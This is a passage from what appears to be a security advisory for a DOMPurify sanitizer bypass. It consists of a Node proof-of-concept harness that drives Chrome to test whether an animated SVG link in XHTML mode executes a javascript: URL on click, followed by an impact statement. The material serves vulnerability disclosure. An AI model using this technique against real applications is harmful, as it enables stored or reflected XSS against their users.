Details
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
let vulnerable = false, xhtmlDoc = false;
const ver = async () => ev('DOMPurify.version');
for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
await send('Page.navigate', { url: page }, s); await sleep(500);
const docType = await ev('document.contentType');
if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
dialogs.length = 0;
const clean = await ev(run(${JSON.stringify(mode)}));
await sleep(400); // let the 0.01s animation apply (fill=freeze)
const href = await ev((()=>{const a=document.getElementById('q');return a?a.href.animVal:null})());
const box = await ev((()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})());
if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
await sleep(800);
console.log(\n[${mode} mode, sink document ${docType}] sanitized output:\n ${clean});
console.log( animated <a> href (animVal): ${JSON.stringify(href)});
console.log( alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'});
if (mode === 'xhtml' && dialogs.length) vulnerable = true;
if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
}
console.log(vulnerable ? \nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'}) : '\nRESULT: not vulnerable');
p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"
</details>
### Impact
Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow `animate` (or `set`) with `attributeName`, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.